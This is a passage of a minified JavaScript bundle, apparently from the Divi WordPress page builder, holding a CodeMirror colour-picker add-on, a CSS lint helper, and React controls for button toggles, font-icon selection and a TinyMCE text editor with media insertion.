105, 30)",coral:"rgb(255, 127, 80)",cornflowerblue:"rgb(100, 149, 237)",cornsilk:"rgb(255, 248, 220)",crimson:"rgb(237, 20, 61)",cyan:"rgb(0, 255, 255)",darkblue:"rgb(0, 0, 139)",darkcyan:"rgb(0, 139, 139)",darkgoldenrod:"rgb(184, 134, 11)",darkgray:"rgb(169, 169, 169)",darkgrey:"rgb(169, 169, 169)",darkgreen:"rgb(0, 100, 0)",darkkhaki:"rgb(189, 183, 107)",darkmagenta:"rgb(139, 0, 139)",darkolivegreen:"rgb(85, 107, 47)",darkorange:"rgb(255, 140, 0)",darkorchid:"rgb(153, 50, 204)",darkred:"rgb(139, 0, 0)",darksalmon:"rgb(233, 150, 122)",darkseagreen:"rgb(143, 188, 143)",darkslateblue:"rgb(72, 61, 139)",darkslategray:"rgb(47, 79, 79)",darkslategrey:"rgb(47, 79, 79)",darkturquoise:"rgb(0, 206, 209)",darkviolet:"rgb(148, 0, 211)",deeppink:"rgb(255, 20, 147)",deepskyblue:"rgb(0, 191, 255)",dimgray:"rgb(105, 105, 105)",dimgrey:"rgb(105, 105, 105)",dodgerblue:"rgb(30, 144, 255)",firebrick:"rgb(178, 34, 34)",floralwhite:"rgb(255, 250, 240)",forestgreen:"rgb(34, 139, 34)",fuchsia:"rgb(255, 0, 255)",gainsboro:"rgb(220, 220, 220)",ghostwhite:"rgb(248, 248, 255)",gold:"rgb(255, 215, 0)",goldenrod:"rgb(218, 165, 32)",gray:"rgb(128, 128, 128)",grey:"rgb(128, 128, 128)",green:"rgb(0, 128, 0)",greenyellow:"rgb(173, 255, 47)",honeydew:"rgb(240, 255, 240)",hotpink:"rgb(255, 105, 180)",indianred:"rgb(205, 92, 92)",indigo:"rgb(75, 0, 130)",ivory:"rgb(255, 255, 240)",khaki:"rgb(240, 230, 140)",lavender:"rgb(230, 230, 250)",lavenderblush:"rgb(255, 240, 245)",lawngreen:"rgb(124, 252, 0)",lemonchiffon:"rgb(255, 250, 205)",lightblue:"rgb(173, 216, 230)",lightcoral:"rgb(240, 128, 128)",lightcyan:"rgb(224, 255, 255)",lightgoldenrodyellow:"rgb(250, 250, 210)",lightgreen:"rgb(144, 238, 144)",lightgray:"rgb(211, 211, 211)",lightgrey:"rgb(211, 211, 211)",lightpink:"rgb(255, 182, 193)",lightsalmon:"rgb(255, 160, 122)",lightseagreen:"rgb(32, 178, 170)",lightskyblue:"rgb(135, 206, 250)",lightslategray:"rgb(119, 136, 153)",lightslategrey:"rgb(119, 136, 153)",lightsteelblue:"rgb(176, 196, 222)",lightyellow:"rgb(255, 255, 224)",lime:"rgb(0, 255, 0)",limegreen:"rgb(50, 205, 50)",linen:"rgb(250, 240, 230)",magenta:"rgb(255, 0, 255)",maroon:"rgb(128, 0, 0)",mediumaquamarine:"rgb(102, 205, 170)",mediumblue:"rgb(0, 0, 205)",mediumorchid:"rgb(186, 85, 211)",mediumpurple:"rgb(147, 112, 219)",mediumseagreen:"rgb(60, 179, 113)",mediumslateblue:"rgb(123, 104, 238)",mediumspringgreen:"rgb(0, 250, 154)",mediumturquoise:"rgb(72, 209, 204)",mediumvioletred:"rgb(199, 21, 133)",midnightblue:"rgb(25, 25, 112)",mintcream:"rgb(245, 255, 250)",mistyrose:"rgb(255, 228, 225)",moccasin:"rgb(255, 228, 181)",navajowhite:"rgb(255, 222, 173)",navy:"rgb(0, 0, 128)",oldlace:"rgb(253, 245, 230)",olive:"rgb(128, 128, 0)",olivedrab:"rgb(107, 142, 35)",orange:"rgb(255, 165, 0)",orangered:"rgb(255, 69, 0)",orchid:"rgb(218, 112, 214)",palegoldenrod:"rgb(238, 232, 170)",palegreen:"rgb(152, 251, 152)",paleturquoise:"rgb(175, 238, 238)",palevioletred:"rgb(219, 112, 147)",papayawhip:"rgb(255, 239, 213)",peachpuff:"rgb(255, 218, 185)",peru:"rgb(205, 133, 63)",pink:"rgb(255, 192, 203)",plum:"rgb(221, 160, 221)",powderblue:"rgb(176, 224, 230)",purple:"rgb(128, 0, 128)",rebeccapurple:"rgb(102, 51, 153)",red:"rgb(255, 0, 0)",rosybrown:"rgb(188, 143, 143)",royalblue:"rgb(65, 105, 225)",saddlebrown:"rgb(139, 69, 19)",salmon:"rgb(250, 128, 114)",sandybrown:"rgb(244, 164, 96)",seagreen:"rgb(46, 139, 87)",seashell:"rgb(255, 245, 238)",sienna:"rgb(160, 82, 45)",silver:"rgb(192, 192, 192)",skyblue:"rgb(135, 206, 235)",slateblue:"rgb(106, 90, 205)",slategray:"rgb(112, 128, 144)",slategrey:"rgb(112, 128, 144)",snow:"rgb(255, 250, 250)",springgreen:"rgb(0, 255, 127)",steelblue:"rgb(70, 130, 180)",tan:"rgb(210, 180, 140)",teal:"rgb(0, 128, 128)",thistle:"rgb(216, 191, 216)",tomato:"rgb(255, 99, 71)",turquoise:"rgb(64, 224, 208)",violet:"rgb(238, 130, 238)",wheat:"rgb(245, 222, 179)",white:"rgb(255, 255, 255)",whitesmoke:"rgb(245, 245, 245)",yellow:"rgb(255, 255, 0)",yellowgreen:"rgb(154, 205, 50)",transparent:"rgba(0, 0, 0, 0)"},o=["comment"];function r(e,t){"setValue"==t.origin?(e.state.colorpicker.close_color_picker(),e.state.colorpicker.init_color_update(),e.state.colorpicker.style_color_update()):e.state.colorpicker.style_color_update(e.getCursor().line)}function i(e,t){e.state.colorpicker.isUpdate||(e.state.colorpicker.isUpdate=!0,e.state.colorpicker.close_color_picker(),e.state.colorpicker.init_color_update(),e.state.colorpicker.style_color_update())}function a(e,t){r(e,{origin:"setValue"})}function s(e,t){e.state.colorpicker.keyup(t)}function l(e,t){e.state.colorpicker.is_edit_mode()&&e.state.colorpicker.check_mousedown(t)}function u(e,t){r(e,{origin:"setValue"})}function c(e){e.state.colorpicker.close_color_picker()}function d(e,t){t="boolean"==typeof t?{mode:"view"}:Object.assign({mode:"view"},t||{}),this.opt=t,this.cm=e,this.markers={},o=this.opt.excluded_token||o,this.cm.colorpicker?this.colorpicker=this.cm.colorpicker():this.opt.colorpicker&&(this.colorpicker=this.opt.colorpicker),this.init_event()}e.defineOption("colorpicker",!1,function(t,n,o){o&&o!=e.Init&&t.state.colorpicker&&(t.state.colorpicker.destroy(),t.state.colorpicker=null),n&&(t.state.colorpicker=new d(t,n))}),d.prototype.init_event=function(){var e,t;this.cm.on("mousedown",l),this.cm.on("keyup",s),this.cm.on("change",r),this.cm.on("update",i),this.cm.on("refresh",a),this.onPasteCallback=(e=this.cm,t=u,function(n){t.call(this,e,n)}),this.cm.getWrapperElement().addEventListener("paste",this.onPasteCallback),this.is_edit_mode()&&this.cm.on("scroll",function(e,t){var n=void 0;return function(o,r){n&&clearTimeout(n),n=setTimeout(function(){e(o,r)},t||300)}}(c,50))},d.prototype.is_edit_mode=function(){return"edit"==this.opt.mode},d.prototype.is_view_mode=function(){return"view"==this.opt.mode},d.prototype.destroy=function(){this.cm.off("mousedown",l),this.cm.off("keyup",s),this.cm.off("change",r),this.cm.getWrapperElement().removeEventListener("paste",this.onPasteCallback),this.is_edit_mode()&&this.cm.off("scroll")},d.prototype.hasClass=function(e,t){if(e.className){var n=" "+e.className+" ";return n.indexOf(" "+t+" ")>-1}return!1},d.prototype.check_mousedown=function(e){this.hasClass(e.target,"codemirror-colorview-background")?this.open_color_picker(e.target.parentNode):this.close_color_picker()},d.prototype.popup_color_picker=function(e){var t=this.cm.getCursor(),n=this,o={lineNo:t.line,ch:t.ch,color:e||"#FFFFFF",isShortCut:!0};Object.keys(this.markers).forEach(function(e){var t="#"+e;if(t.indexOf("#"+o.lineNo+":")>-1){var r=n.markers[e];r.ch<=o.ch&&o.ch<=r.ch+r.color.length&&(o.ch=r.ch,o.color=r.color,o.nameColor=r.nameColor)}}),this.open_color_picker(o)},d.prototype.open_color_picker=function(e){var t=e.lineNo,n=e.ch,o=e.nameColor,r=e.color;if(this.colorpicker){var i=this,a=r,s=this.cm.charCoords({line:t,ch:n});this.colorpicker.show({left:s.left,top:s.bottom,isShortCut:e.isShortCut||!1,hideDelay:i.opt.hideDelay||2e3},o||r,function(e){i.cm.replaceRange(e,{line:t,ch:n},{line:t,ch:n+a.length},"*colorpicker"),a=e})}},d.prototype.close_color_picker=function(e){this.colorpicker&&this.colorpicker.hide()},d.prototype.key=function(e,t){return[e,t].join(":")},d.prototype.keyup=function(e){this.colorpicker&&("Escape"==e.key?this.colorpicker.hide():0==this.colorpicker.isShortCut()&&this.colorpicker.hide())},d.prototype.init_color_update=function(){this.markers={}},d.prototype.style_color_update=function(e){if(e)this.match(e);else for(var t=this.cm.lineCount(),n=0;n<t;n++)this.match(n)},d.prototype.empty_marker=function(e,t){for(var n=t.markedSpans||[],o=0,r=n.length;o<r;o++){var i=this.key(e,n[o].from);i&&(a=n[o].marker.replacedWith,s="codemirror-colorview",a&&a.className&&(" "+a.className+" ").indexOf(" "+s+" ")>-1)&&(delete this.markers[i],n[o].marker.clear())}var a,s},d.prototype.color_regexp=/(#(?:[\da-f]{3}){1,2}|rgb\((?:\s*\d{1,3},\s*){2}\d{1,3}\s*\)|rgba\((?:\s*\d{1,3},\s*){3}\d*\.?\d+\s*\)|hsl\(\s*\d{1,3}(?:,\s*\d{1,3}%){2}\s*\)|hsla\(\s*\d{1,3}(?:,\s*\d{1,3}%){2},\s*\d*\.?\d+\s*\)|([\w_\-]+))/gi,d.prototype.match_result=function(e){return e.text.match(this.color_regexp)},d.prototype.submatch=function(e,t){this.empty_marker(e,t);var o=this.match_result(t);if(o&&o.length)for(var r={next:0},i=0,a=o.length;i<a;i++)if(o[i].indexOf("#")>-1||o[i].indexOf("rgb")>-1||o[i].indexOf("hsl")>-1)this.render(r,e,t,o[i]);else{var s=n[o[i]];s&&this.render(r,e,t,o[i],s)}},d.prototype.match=function(e){var t=this.cm.getLineHandle(e),n=this;this.cm.operation(function(){n.submatch(e,t)})},d.prototype.make_element=function(){var e=t().document.createElement("div");return e.className="codemirror-colorview",this.is_edit_mode()?e.title="open color picker":e.title="",e.back_element=this.make_background_element(),e.appendChild(e.back_element),e},d.prototype.make_background_element=function(){var e=t().document.createElement("div");return e.className="codemirror-colorview-background",e},d.prototype.set_state=function(e,t,n,o){var r=this.create_marker(e,t);return r.lineNo=e,r.ch=t,r.color=n,r.nameColor=o,r},d.prototype.create_marker=function(e,t){var n=this.key(e,t);return this.markers[n]||(this.markers[n]=this.make_element()),this.markers[n]},d.prototype.has_marker=function(e,t){var n=this.key(e,t);return!!this.markers[n]},d.prototype.update_element=function(e,t){e.back_element.style.backgroundColor=t},d.prototype.set_mark=function(e,t,n){this.cm.setBookmark({line:e,ch:t},{widget:n,handleMouseEvents:!0})},d.prototype.is_excluded_token=function(e,t){for(var n=this.cm.getTokenTypeAt({line:e,ch:t}),r=0,i=0,a=o.length;i<a;i++)if(n===o[i]){r++;break}return r>0},d.prototype.render=function(e,t,n,o,r){var i=n.text.indexOf(o,e.next);if(!0!==this.is_excluded_token(t,i)){if(e.next=i+o.length,this.has_marker(t,i))return this.update_element(this.create_marker(t,i),r||o),void this.set_state(t,i,o,r);var a=this.create_marker(t,i);this.update_element(a,r||o),this.set_state(t,i,o,r||o),this.set_mark(t,i,a)}}}(n(1276))},function(e,t,n){},function(e,t,n){"use strict";var o=n(7),r=n.n(o),i=n(8),a=n.n(i),s=n(11),l=n.n(s),u=n(474),c=n.n(u),d=n(38),p=n.n(d),f=n(965),h=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var m={"known-properties":1,"duplicate-properties":1},g={coverGutter:!1,noHScroll:!0},v=function(e){var t=e.message,n=e.line,o=e.type;return{description:t.replace(/ \w+ \w+ \d+, \w+ \d+\.$/,"."),line:n,type:o}},b=function(){function e(t,n,o){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.mode=t,this.editor=n,this.delay=o,this.timer=0,this.lineWidgets=[],this.doLint=this.doLint.bind(this),this.removeLineWidget=this.removeLineWidget.bind(this),this.showErrors=this.showErrors.bind(this),this.showError=this.showError.bind(this)}return h(e,[{key:"lint",value:function(e){clearTimeout(this.timer);var t=r()(e)?this.delay:e;0===t?this.doLint():this.timer=setTimeout(this.doLint,t)}},{key:"doLint",value:function(){this.editor&&this.editor.operation(this.showErrors)}},{key:"getErrors",value:function(){var e=this.editor.getValue(),t=void 0;switch(this.mode.name){case"css":var n=this.mode.inline?"p {"+e+"}":e,o=f.CSSLint.verify(n,m).messages;t=c()(o,p.a).map(v);break;default:t=[]}return t}},{key:"removeLineWidget",value:function(e){this.editor.removeLineWidget(e)}},{key:"showError",value:function(e){var t=this.editor,n=e.description,o=e.line,r=e.type,i=document.createElement("div");return i.appendChild(document.createTextNode(""+n)),i.className="codemirror-lint-"+r,t.addLineWidget(o-1,i,g)}},{key:"showErrors",value:function(){a()(this.lineWidgets)||l()(this.lineWidgets,this.removeLineWidget);var e=this.getErrors();a()(e)?this.lineWidgets=[]:this.lineWidgets=e.map(this.showError)}},{key:"destroy",value:function(){clearTimeout(this.timer),this.editor=!1}}]),e}();t.a=b},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=(n(4),n(22)),a=n.n(i),s=n(2),l=n.n(s),u=n(34),c=n.n(u),d=n(84),p=n.n(d),f=n(38),h=n.n(f),m=n(10),g=n.n(m),v=n(464),b=n.n(v),y=(n(83),n(7)),_=n.n(y),k=n(62),w=n(40),C=(n(1414),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var E=function(t){function n(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));return e.state={activeOption:[]},e._onChange=e._onChange.bind(e),e.switchButton=e.switchButton.bind(e),e.getProcessedValue=e.getProcessedValue.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),C(n,[{key:"shouldComponentUpdate",value:function(e,t){return!h()(e,this.props)||!h()(t,this.state)}},{key:"componentDidMount",value:function(){this.setState({activeOption:this.getProcessedValue()})}},{key:"componentDidUpdate",value:function(){this.setState({activeOption:this.getProcessedValue()})}},{key:"getProcessedValue",value:function(){var e=this.props.value||this.props.default;return _()(e)||""===e?[]:this.props.emptyMobileNone&&"none"===e?[]:e.split("|")}},{key:"switchButton",value:function(t){t.preventDefault();var n=e(t.target).closest(".et-fb-multiple-buttons-toggle").data("option_value"),o=this.state.activeOption;this.props.toggleable&&g()(this.state.activeOption,n)?o=this.props.multi_selection?b()(o,n).join("|"):this.props.default:(this.props.multi_selection&&o.push(n),o=this.props.multi_selection?o.join("|"):n),this.props.emptyMobileNone&&""===o&&(o="none"),this._onChange(o)}},{key:"_onChange",value:function(e){var t=this.props,n=t.name,o=t._onChange,r=e;this.props.emptyMobileNone&&"none"===e&&(r=""),this.setState({activeOption:r.split("|")}),o(n,e)}},{key:"render",value:function(){var e=this,t=e.props.options,n=p()(this.props.options),o=100/n,i=o-o*(3*(n-1)/100)+"%",s=c()(t,function(t,n){var o=l()(t,"icon",!1),s=g()(e.state.activeOption,n),u=s?k.a.activeTabIcon:k.a.optionTabIcon,c=a()({"et-fb-multiple-buttons-toggle-internal":!0,"et-fb-multiple-buttons-toggle-internal__active":s}),d=o?r.a.createElement(w.a,{icon:t.icon,color:u}):t.title;return r.a.createElement("li",{className:"et-fb-multiple-buttons-toggle",style:{width:i},"data-option_value":n,onClick:e.switchButton,key:n},r.a.createElement("span",{className:c},d))});return r.a.createElement("div",{className:"et-fb-multiple-buttons-outer"},r.a.createElement("ul",{className:"et-fb-multiple-buttons-container"},s))}}]),n}();t.a=E}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(242),a=n.n(i),s=n(22),l=n.n(s),u=n(37),c=n.n(u),d=n(8),p=n.n(d),f=n(2),h=n.n(f),m=n(0),g=(n(1417),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),v=a()({displayName:"ETBuilderControlSelectFontIcon",mixins:[c.a],render:function(){var e=this,t=this.props.additional_attrs?this.props.additional_attrs:{},n="icon_down"===h()(this.props,"renderer_options.icons_list","")?ETBuilderBackend.fontIconsDown:ETBuilderBackend.fontIcons,o=this.props.value,i=!1,a=0;p()(o)||(i=-1!==o.search(/^%%/),a=parseInt(o.replace(/%/g,"")));var s=n.map(function(t,n){var s=m.default.processFontIcon(t),u=void 0;if(i){if(e.props.readonly&&n!==a)return!1;u=n===a?{active:!0}:{}}else u='"'===o?0===n?{active:!0}:{}:s===o?{active:!0}:{};return r.a.createElement("li",{className:l()(u),key:e.props._key+"-font-icon-"+n,"data-icon":s,onClick:e._onChange})});return r.a.createElement("ul",g({id:"et-fb-"+this.props.name,className:"et-fb-font-icon-list et-fb-allow-mouse-wheel"},t),s)},_onChange:function(t){if(!this.props.readonly){var n="%%"+e(t.target).index()+"%%";this.props._onChange(this.props.name,n)}}});t.a=v}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=(n(4),n(24),n(242)),a=n.n(i),s=n(28),l=n.n(s),u=n(22),c=n.n(u),d=n(898),p=n.n(d),f=n(37),h=n.n(f),m=n(59),g=n.n(m),v=n(7),b=n.n(v),y=n(11),k=n.n(y),w=n(8),C=n.n(w),E=n(44),O=n.n(E),S=n(148),T=n.n(S),M=n(225),x=n.n(M),P=n(46),j=n.n(P),L=n(2),N=n.n(L),D=n(31),A=n.n(D),F=n(10),I=n.n(F),R=n(29),B=n.n(R),W=n(69),V=n.n(W),H=n(12),G=n(0),U=n(1421),z=(n(1422),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e});var q=G.default.topWindow(),K=G.default.condition("is_bfb"),$=G.default.condition("is_rich_editor");p.a.getDefaultProps.isReactClassApproved={},G.default.topWindow().QTags=void 0,G.default.topWindow().send_to_editor=function(e){var t=void 0!==G.default.topWindow().tinymce,n=void 0!==G.default.topWindow().QTags,o=void 0;if(G.default.appWindow().wpActiveEditor)t&&(o=tinymce.get(G.default.appWindow().wpActiveEditor));else if(t&&G.default.topWindow().tinymce.activeEditor)o=G.default.topWindow().tinymce.activeEditor,G.default.appWindow().wpActiveEditor=o.id;else if(!n)return!1;if(o&&!o.isHidden()?o.execCommand("mceInsertContent",!1,e):n?QTags.insertContent(e):(G.default.topDocument().getElementById(G.default.appWindow().wpActiveEditor).value+=e,G.default.$topWindow("#"+G.default.appWindow().wpActiveEditor).trigger("focus").trigger("blur")),G.default.topWindow().tb_remove)try{G.default.topWindow().tb_remove()}catch(e){}};var X=a()({displayName:"ETBuilderControlTinyMCE",mixins:[h.a],getInitialState:function(){var e=void 0;e="no"===$?"html":G.default.hasValue(getUserSetting("editor"))?getUserSetting("editor"):"tinymce",this.editor=null;var t=N()(this.props,"toggle_slug",""),n=N()(this.props,"name","");return this.uuid=t+"_"+n+"_vb_tiny_mce",this.processedContent=!1,this.isEditing=!1,this.isUnmounting=!1,this.updateProps=!0,this.isRemoveP=!0,{editorMode:e,content:this.getPropsContent()}},UNSAFE_componentWillReceiveProps:function(e){if(e.activeTabMode!==this.props.activeTabMode?this.isRemoveP=!1:this.isRemoveP=!0,this.isEditing)this.isEditing=!1;else{var t=this.getPropsContent(e);if((this.processedContent?this.processContent(t):t)!==this.state.content){var n="tinymce"===this.state.editorMode;if(n){var o=G.default.appWindow().tinymce.EditorManager.get(this.uuid);g()(o)&&(o=G.default.topWindow().tinymce.EditorManager.get(this.uuid)),O()(N()(o,"setContent"))&&A()(o,"dom")&&(this.updateProps=!1,o.setContent(U.a.wpautop(this.processContent(t)),{format:"raw"}),this.updateProps=!0)}this.processedContent=!1,this.setState({content:n?t:this.processContent(t)})}}},switchEditorMode:function(e){var t=this;e!==this.state.editorMode&&(this.setState({editorMode:e},function(){t.props.onModeSwitch(t.state.editorMode)}),setUserSetting("editor",e))},
// @copyright 2015 by the WordPress contributors.
// This program incorporates work covered by the following copyright and
sendAttachment:function(e,t){var n=t.caption,o=void 0,r=void 0;return q.wp.media.view.settings.captions||delete t.caption,e=q.wp.media.string.props(e,t),o={id:t.id,post_content:t.description,post_excerpt:n},e.linkUrl&&(o.url=e.linkUrl),"image"===t.type?(e.url=e.src,r=q.wp.media.string.image(e),k()({align:"align",size:"image-size",alt:"image_alt"},function(t,n){e[n]&&(o[t]=e[n])})):"video"===t.type?r=q.wp.media.string.video(e,t):"audio"===t.type?r=q.wp.media.string.audio(e,t):(r=q.wp.media.string.link(e),o.post_title=e.title),r},addMedia:function(t){t.preventDefault();var n=this,o=void 0;if(b()(o)){var r=q.wp.media.controller.Library.extend({defaults:_.defaults({id:"insert",displaySettings:!0,multiple:!0},q.wp.media.controller.Library.prototype.defaults)});(o=q.wp.media.frames.file_frame=q.wp.media({title:ETBuilderBackend.i18n.controls.insertMedia.modalTitleText,state:"insert",states:[new r],frame:"post"})).on("select",function(t){var r=o.state();if(t=t||r.get("selection"),"embed"!==r.attributes.content)t&&e.when.apply(e,t.map(function(e){var t=r.display(e).toJSON();return n.sendAttachment(t,e.toJSON())},this)).done(function(){var e=x()(arguments).join("\n\n");n.insertMedia(e)});else{var i=r.props.attributes,a=b()(i.url)?"":i.url,s="";if(""===a)return;if("image"===r.attributes.type){var l=b()(i.alt)?"":i.alt,u=b()(i.width)?"":i.width,c=b()(i.height)?"":i.height,d=b()(i.align)?"alignnone":"align"+i.align,p=b()(i.caption)?"":i.caption,f=b()(i.link)?"":i.link,h=b()(i.linkUrl)?"":i.linkUrl;if(s='<img width="'+u+'" height="'+c+'" src="'+a+'" alt="'+l+'" class="'+(""!==p?"size-medium":"size-medium "+d)+'" />',""!==f)s='<a href="'+("custom"===f?h:a)+'">'+s+"</a>";""!==p&&(s='[caption align="'+d+'" width="'+u+'" ]'+s+" "+p+"[/caption]")}else s="[embed]"+a+"[/embed]";n.insertMedia(s)}}),o.on("update",function(e){var t=b()(e.gallery)?"playlist":"gallery",o="playlist"===t?q.wp.media.playlist.shortcode(e).attrs.named:q.wp.media.gallery.shortcode(e).attrs.named,r=b()(o.ids)?"":o.ids.join(",");if(""!==r){var i="";k()(o,function(e,t){"ids"!==t&&(i+=" "+t+'="'+e+'"')});var a="["+t+' ids="'+r+'"'+i+"]";n.insertMedia(a)}}),o.open()}else o.open()},insertMedia:function(e){if(G.default.appWindow().wpActiveEditor=!1,"html"===getUserSetting("editor")){var t=G.default.$topWindow(".et-fb-tinymce-html-input:visible"),n=t.val()+e;t.val(n),this.setTextareaContent(n)}else q.wp.media.editor.insert(e)},switchToVisual:function(e){e.preventDefault(),this.switchEditorMode("tinymce")},switchToHtml:function(e){e.preventDefault(),this.switchEditorMode("html"),this.processedContent=!0,this.setState({content:this.processContent(this.state.content)})},setActiveModeClass:function(e){var t,n,o,r=(o=!0,(n="et-fb-switch-editor-mode__tab--"+e)in(t={"et-fb-switch-editor-mode__tab":!0})?Object.defineProperty(t,n,{value:o,enumerable:!0,configurable:!0,writable:!0}):t[n]=o,t);return e===this.state.editorMode&&(r["et-fb-switch-editor-mode__tab--active"]=!0),c()(r)},processContent:function(e){return e=e.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>"),this.isRemoveP&&(e=U.a.removep(e)),e},_onDoubleClick:function(e){e.stopPropagation()},_tinyMCESetup:function(e){e.settings.convert_urls=0,e.settings.remove_script_host=0},getStateContent:function(){return"html"===this.state.editorMode?"<br />\n"===this.state.content?"":this.state.content:U.a.wpautop(this.processContent(this.state.content))},getPropsContent:function(e){var t=e||this.props;return"content"===t.name?N()(t,"content",""):N()(t,"value","")},render:function(){var e=this.props.additional_attrs?this.props.additional_attrs:{},t=ETBuilderBackend.i18n.controls.tinymce,n=(this.props.className&&this.props.className,this.getStateContent()),o=N()(ETBuilderBackend,"tinymcePlugins",["autolink","link","image","lists","print","preview","autoresize","textcolor","table","paste","fullscreen","charmap","emoticons","wpview"]),i={entity_encoding:"raw",skin_url:ETBuilderBackend.tinymceSkinUrl,plugins:o.join(" "),menubar:!1,valid_elements:"*[*]",toolbar:"formatselect,bold,italic,bullist,numlist,link,blockquote,alignleft,aligncenter,alignright,alignjustify,table,strikethrough,underline,hr,forecolor,pastetext,removeformat,outdent,indent,fullscreen,charmap,emoticons,undo,redo",content_css:ETBuilderBackend.tinymceCSSFiles,autoresize_bottom_margin:0,setup:this._tinyMCESetup};if(G.default.condition("is_bfb")&&(i=N()(G.default.topWindow(),"tinyMCEPreInit.mceInit.content",{}),b()(i.toolbar1)||(i.toolbar1=i.toolbar1.replace("dfw","table,fullscreen"),i.toolbar1=i.toolbar1.replace("wp_more",""))),G.default.condition("is_layout_block")){var a=B()(N()(G.default.topWindow(),"tinymce.AddOnManager.PluginManager.lookup",{})),s=V()(o,function(e){return!I()(a,e)});O()(N()(G.default.topWindow(),"tinymce.AddOnManager.PluginManager.load"))&&k()(s,function(e){G.default.topWindow().tinymce.AddOnManager.PluginManager.load(e,N()(G.default.appWindow(),"et_pb_custom.tinymce_uri")+"/plugins/"+e+"/plugin.min.js")})}var l=G.default.hasValue(ETBuilderBackend.mediaButtons)?{}:{display:"none"},u="html"===this.state.editorMode?r.a.createElement("textarea",{id:this.uuid,ref:"textarea",className:"et-fb-tinymce-html-input",value:n,onChange:j.a,onInput:this._onInputHTML,onScroll:this._onTextareaScroll,onFocus:this._onFocus,onBlur:this._onBlur}):r.a.createElement(p.a,z({id:this.uuid,ref:"tinymce",content:n,config:i,onInit:this._onInit,onChange:this._onChange,onDoubleClick:this._onDoubleClick,onKeyup:this._onChange,onKeydown:this._onKeyDown,onLoadContent:this._loadtinyMCEContent,onSetContent:this._onChange,onFocus:this._onFocus,onBlur:this._onBlur},e)),c="no"!==$&&r.a.createElement("a",{href:"#",onClick:this.switchToVisual,className:this.setActiveModeClass("tinymce")},t.visual);return r.a.createElement("div",{id:"et-fb-"+this.props.name,className:"et-fb-tinymce-buttons"},r.a.createElement("button",{className:"et-fb-settings-option-upload-button et-fb-tinymce-add-media-button et-fb-tinymce-add-media-button--absolute",onClick:this.addMedia},ETBuilderBackend.i18n.controls.insertMedia.buttonText),r.a.createElement("span",{className:"et-fb-tinymce-media-buttons",id:"et-fb-tinymce-"+this.props.name+"-media-buttons",style:l,dangerouslySetInnerHTML:{__html:ETBuilderBackend.mediaButtons}}),r.a.createElement("div",{className:"et-fb-switch-editor-mode"},c,r.a.createElement("a",{href:"#",onClick:this.switchToHtml,className:this.setActiveModeClass("html")},t.text)),u)},_loadtinyMCEContent:function(e,t){C()(T()(this.state.content))||t.setContent(U.a.wpautop(this.processContent(this.state.content)),{format:"raw"})},_onKeyDown:function(e){var t=e.keyCode,n=e.metaKey,o=e.ctrlKey,r=e.altKey;O()(KeyboardEvent)&&(83!==t||!n&&!o||r||(G.default.appDocument().dispatchEvent(new KeyboardEvent("keydown",{keyCode:t,metaKey:n,ctrlKey:o,bubbles:!0,cancelable:!0})),e.preventDefault()))},_onChange:function(e,t){if(!this.isUnmounting){var n=b()(e.type)?"":e.type;if(!this.props.isItemSelected||!I()(["loadcontent","setcontent"],n)){var o=t.getContent({format:"html"}).replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>"),r=C()(o)?o:U.a.wpautop(o);r="\n"===r.slice(-1)?r.slice(0,-1):r,this.setTextareaContent(r)}}},_onInit:function(e,t){this.editor=t,K&&(t.on("ExecCommand",function(e){if("mceInsertLink"===e.command){var n=t.$('a[href="_wp_link_placeholder"]')[0];n&&n.scrollIntoView&&n.scrollIntoView({block:"nearest"})}}),t.on("wp-toolbar-toggle",function(){G.default.$topWindow().trigger("wp-toolbar-toggle")}))},componentWillUnmount:function(){this.isUnmounting=!0,K&&G.default.$topWindow("html, body").removeClass("mce-fullscreen")},_onInputHTML:function(e){e.persist();var t=e.target.value;this.setTextareaContent(t)},_onTextareaScroll:function(t){var n=e(t.currentTarget).closest(".et-fb-tabs__panel");n.scrollTop()||n.scrollTop(1)},setTextareaContent:function(e){if(e!==this.getStateContent()&&e!==this.getPropsContent()){this.isEditing=!0;var t="content"===this.props.name;this.updateProps&&this.props._onChange(this.props.name,e,"",t),this.processedContent=!1,this.setState({content:e})}},getFrameTargetElement:function(e){if(g()(e))return!1;var t=e.contentWindow;return b()(G.default.appWindow().pageYOffset)&&(t=t.document.documentElement?t.document.documentElement:t=document.body),t},_onFocus:function(e){(this.props.module||this.props.isPageSetting)&&H.b.quickAccessHide(!1,e)},_onBlur:function(e){if("html"===this.state.editorMode){if(e.target.value===this.getStateContent())return;this._onInputHTML(e)}},focus:function(){var e=this;if("html"===this.state.editorMode)G.default.$topWindow(this.refs.textarea).trigger("focus");else 